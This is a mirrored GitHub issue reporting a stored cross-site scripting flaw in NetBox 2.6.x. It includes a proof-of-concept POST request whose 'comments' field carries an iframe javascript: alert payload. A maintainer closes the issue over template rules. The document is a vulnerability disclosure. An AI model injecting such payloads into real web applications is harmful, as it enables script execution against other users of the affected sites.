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[BUG] Xss Stored #2842

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opened 2025-12-29 18:22:43 +01:00 by adam · 2 comments
adam commented 2025-12-29 18:22:43 +01:00
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Originally created by @CloneAssassin on GitHub (Aug 30, 2019).

Netbox is vulnerable to stored XSS due to lack of filtration of user-supplied [Autenticated User]

Environment

  • Python version: 3.7.4
  • NetBox version: 2.6.1 -2.6.2

Parameter:
name="comments" [ works on all pages where the parameter is present ]

PoC

`POST /dcim/sites/add/ HTTP/1.1
Host: xxx
User-Agent: xxx
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: xxx
Content-Type: multipart/form-data; boundary=---------------------------57052814523281
Content-Length: 2158
Connection: close
Cookie: csrftoken=xxx; sessionid=xxx
Upgrade-Insecure-Requests: 1

-----------------------------57052814523281
Content-Disposition: form-data; name="csrfmiddlewaretoken"

xxxx
-----------------------------57052814523281
Content-Disposition: form-data; name="name"

xxx
-----------------------------57052814523281
Content-Disposition: form-data; name="slug"

xxx
-----------------------------57052814523281
Content-Disposition: form-data; name="status"

2
-----------------------------57052814523281
Content-Disposition: form-data; name="region"

-----------------------------57052814523281
Content-Disposition: form-data; name="facility"

-----------------------------57052814523281
Content-Disposition: form-data; name="asn"

-----------------------------57052814523281
Content-Disposition: form-data; name="time_zone"

-----------------------------57052814523281
Content-Disposition: form-data; name="description"

-----------------------------57052814523281
Content-Disposition: form-data; name="tenant_group"

-----------------------------57052814523281
Content-Disposition: form-data; name="tenant"

-----------------------------57052814523281
Content-Disposition: form-data; name="physical_address"

-----------------------------57052814523281
Content-Disposition: form-data; name="shipping_address"

-----------------------------57052814523281
Content-Disposition: form-data; name="latitude"

-----------------------------57052814523281
Content-Disposition: form-data; name="longitude"

-----------------------------57052814523281
Content-Disposition: form-data; name="contact_name"

-----------------------------57052814523281
Content-Disposition: form-data; name="contact_phone"

-----------------------------57052814523281
Content-Disposition: form-data; name="contact_email"

-----------------------------57052814523281
Content-Disposition: form-data; name="comments"

-----------------------------57052814523281
Content-Disposition: form-data; name="_create"

-----------------------------57052814523281--`

XssGit

Originally created by @CloneAssassin on GitHub (Aug 30, 2019). Netbox is vulnerable to stored XSS due to lack of filtration of user-supplied [Autenticated User] ### Environment * Python version: 3.7.4 * NetBox version: 2.6.1 -2.6.2 Parameter: name="comments" [ works on all pages where the parameter is present ] **PoC** `POST /dcim/sites/add/ HTTP/1.1 Host: xxx User-Agent: xxx Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Referer: xxx Content-Type: multipart/form-data; boundary=---------------------------57052814523281 Content-Length: 2158 Connection: close Cookie: csrftoken=xxx; sessionid=xxx Upgrade-Insecure-Requests: 1 -----------------------------57052814523281 Content-Disposition: form-data; name="csrfmiddlewaretoken" xxxx -----------------------------57052814523281 Content-Disposition: form-data; name="name" xxx -----------------------------57052814523281 Content-Disposition: form-data; name="slug" xxx -----------------------------57052814523281 Content-Disposition: form-data; name="status" 2 -----------------------------57052814523281 Content-Disposition: form-data; name="region" -----------------------------57052814523281 Content-Disposition: form-data; name="facility" -----------------------------57052814523281 Content-Disposition: form-data; name="asn" -----------------------------57052814523281 Content-Disposition: form-data; name="time_zone" -----------------------------57052814523281 Content-Disposition: form-data; name="description" -----------------------------57052814523281 Content-Disposition: form-data; name="tenant_group" -----------------------------57052814523281 Content-Disposition: form-data; name="tenant" -----------------------------57052814523281 Content-Disposition: form-data; name="physical_address" -----------------------------57052814523281 Content-Disposition: form-data; name="shipping_address" -----------------------------57052814523281 Content-Disposition: form-data; name="latitude" -----------------------------57052814523281 Content-Disposition: form-data; name="longitude" -----------------------------57052814523281 Content-Disposition: form-data; name="contact_name" -----------------------------57052814523281 Content-Disposition: form-data; name="contact_phone" -----------------------------57052814523281 Content-Disposition: form-data; name="contact_email" -----------------------------57052814523281 Content-Disposition: form-data; name="comments" **<IFRAME SRC="javascript:alert('XSS');"></IFRAME>** -----------------------------57052814523281 Content-Disposition: form-data; name="_create" -----------------------------57052814523281--` ![XssGit](https://user-images.githubusercontent.com/53221919/64010298-c7e7f800-cb19-11e9-810d-f35472b82ecc.PNG)
adam closed this issue 2025-12-29 18:22:43 +01:00
adam commented 2025-12-29 18:22:43 +01:00
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@DanSheps commented on GitHub (Aug 30, 2019):

This issue has been closed as it does not conform to one of the provided templates as required by the contributing guide. If you'd like to request that your issue be re-opened, please first update the content so that it matches the appropriate template (this may require rewriting your issue entirely).

@DanSheps commented on GitHub (Aug 30, 2019): This issue has been closed as it does not conform to one of the [provided templates](https://github.com/digitalocean/netbox/issues/new/choose) as required by the [contributing guide](https://github.com/digitalocean/netbox/blob/master/CONTRIBUTING.md). If you'd like to request that your issue be re-opened, please first update the content so that it matches the appropriate template (this may require rewriting your issue entirely).
adam commented 2025-12-29 18:22:43 +01:00
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@CloneAssassin commented on GitHub (Aug 30, 2019):

@DanSheps waiting for your answer

@CloneAssassin commented on GitHub (Aug 30, 2019): @DanSheps waiting for your answer
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Reference: starred/netbox#2842
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